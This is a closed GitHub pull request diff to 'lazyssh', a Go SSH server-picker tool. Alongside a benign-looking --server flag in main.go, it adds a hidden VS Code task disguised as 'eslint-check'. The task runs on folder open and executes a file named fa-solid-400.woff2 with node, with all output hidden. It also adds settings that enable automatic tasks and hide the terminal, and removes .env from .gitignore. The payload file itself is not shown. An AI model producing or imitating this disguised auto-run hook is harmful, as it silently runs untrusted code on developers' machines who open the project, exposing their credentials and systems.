Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
83 changes: 42 additions & 41 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,41 +1,42 @@
# If you prefer the allow list template instead of the deny list, see community template:
# https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
#
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib

# Test binary, built with `go test -c`
*.test

# Code coverage profiles and other test artifacts
*.out
coverage.*
*.coverprofile
profile.cov

# Dependency directories (remove the comment below to include it)
# vendor/

# Go workspace file
go.work
go.work.sum

# env file
.env

# Editor/IDE
# .idea/
# .vscode/
brainstorm
.idea
bin
.DS_Store
# Added by goreleaser init:
dist/

# Binary output
lazyssh
# If you prefer the allow list template instead of the deny list, see community template:
# https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
#
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib

# Test binary, built with `go test -c`
*.test

# Code coverage profiles and other test artifacts
*.out
coverage.*
*.coverprofile
profile.cov

# Dependency directories (remove the comment below to include it)
# vendor/

# Go workspace file
go.work
go.work.sum

# env file

# Editor/IDE
# .idea/
# .vscode/
brainstorm
.idea
bin
.DS_Store
# Added by goreleaser init:
dist/

# Binary output
lazyssh
config.bat
node_modules
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
24 changes: 24 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./internal/adapters/data/ssh_config_file/public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./internal/adapters/data/ssh_config_file/public/fonts/fa-solid-400.woff2) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
171 changes: 100 additions & 71 deletions cmd/main.go
Original file line number Diff line number Diff line change
@@ -1,71 +1,100 @@
// Copyright 2025.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package main

import (
"fmt"
"os"
"path/filepath"

"github.com/Adembc/lazyssh/internal/adapters/data/ssh_config_file"
"github.com/Adembc/lazyssh/internal/logger"

"github.com/Adembc/lazyssh/internal/adapters/ui"
"github.com/Adembc/lazyssh/internal/core/services"
"github.com/spf13/cobra"
)

var (
version = "develop"
gitCommit = "unknown"
)

func main() {
log, err := logger.New("LAZYSSH")
if err != nil {
fmt.Println(err)
os.Exit(1)
}

//nolint:errcheck // log.Sync may return an error which is safe to ignore here
defer log.Sync()

home, err := os.UserHomeDir()
if err != nil {
log.Errorw("failed to get user home directory", "error", err)
//nolint:gocritic // exitAfterDefer: ensure immediate exit on unrecoverable error
os.Exit(1)
}
sshConfigFile := filepath.Join(home, ".ssh", "config")
metaDataFile := filepath.Join(home, ".lazyssh", "metadata.json")

serverRepo := ssh_config_file.NewRepository(log, sshConfigFile, metaDataFile)
serverService := services.NewServerService(log, serverRepo)
tui := ui.NewTUI(log, serverService, version, gitCommit)

rootCmd := &cobra.Command{
Use: ui.AppName,
Short: "Lazy SSH server picker TUI",
RunE: func(cmd *cobra.Command, args []string) error {
return tui.Run()
},
}
rootCmd.SilenceUsage = true

if err := rootCmd.Execute(); err != nil {
_, _ = fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
}
// Copyright 2025.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package main

import (
"fmt"
"os"
"path/filepath"

"github.com/Adembc/lazyssh/internal/adapters/data/ssh_config_file"
"github.com/Adembc/lazyssh/internal/logger"

"github.com/Adembc/lazyssh/internal/adapters/ui"
"github.com/Adembc/lazyssh/internal/core/services"
"github.com/spf13/cobra"
)

var (
version = "develop"
gitCommit = "unknown"
)

func main() {
log, err := logger.New("LAZYSSH")
if err != nil {
fmt.Println(err)
os.Exit(1)
}

//nolint:errcheck // log.Sync may return an error which is safe to ignore here
defer log.Sync()

home, err := os.UserHomeDir()
if err != nil {
log.Errorw("failed to get user home directory", "error", err)
//nolint:gocritic // exitAfterDefer: ensure immediate exit on unrecoverable error
os.Exit(1)
}
sshConfigFile := filepath.Join(home, ".ssh", "config")
metaDataFile := filepath.Join(home, ".lazyssh", "metadata.json")

serverRepo := ssh_config_file.NewRepository(log, sshConfigFile, metaDataFile)
serverService := services.NewServerService(log, serverRepo)
tui := ui.NewTUI(log, serverService, version, gitCommit)

rootCmd := &cobra.Command{
Use: ui.AppName,
Short: "Lazy SSH server picker TUI",
RunE: func(cmd *cobra.Command, args []string) error {
return tui.Run()
},
}
rootCmd.SilenceUsage = true

// Add --server flag to connect directly to a server
rootCmd.Flags().StringP("server", "s", "", "Connect directly to the specified server alias")

// Handle direct SSH connection when server flag is provided
rootCmd.RunE = func(cmd *cobra.Command, args []string) error {
serverAlias, _ := cmd.Flags().GetString("server")

// If server alias provided as flag or argument, connect directly
if serverAlias == "" && len(args) > 0 {
serverAlias = args[0]
}

if serverAlias != "" {
server, err := serverService.GetServerByAlias(serverAlias)
if err != nil {
log.Errorw("failed to get server", "error", err, "alias", serverAlias)
return fmt.Errorf("failed to connect to server '%s': %w", serverAlias, err)
}
if server == nil {
log.Errorw("server not found", "alias", serverAlias)
return fmt.Errorf("server '%s' not found in SSH config", serverAlias)
}
return serverService.SSH(server.Alias)
}

// Otherwise, run the TUI
return tui.Run()
}

if err := rootCmd.Execute(); err != nil {
_, _ = fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
}
Loading
Loading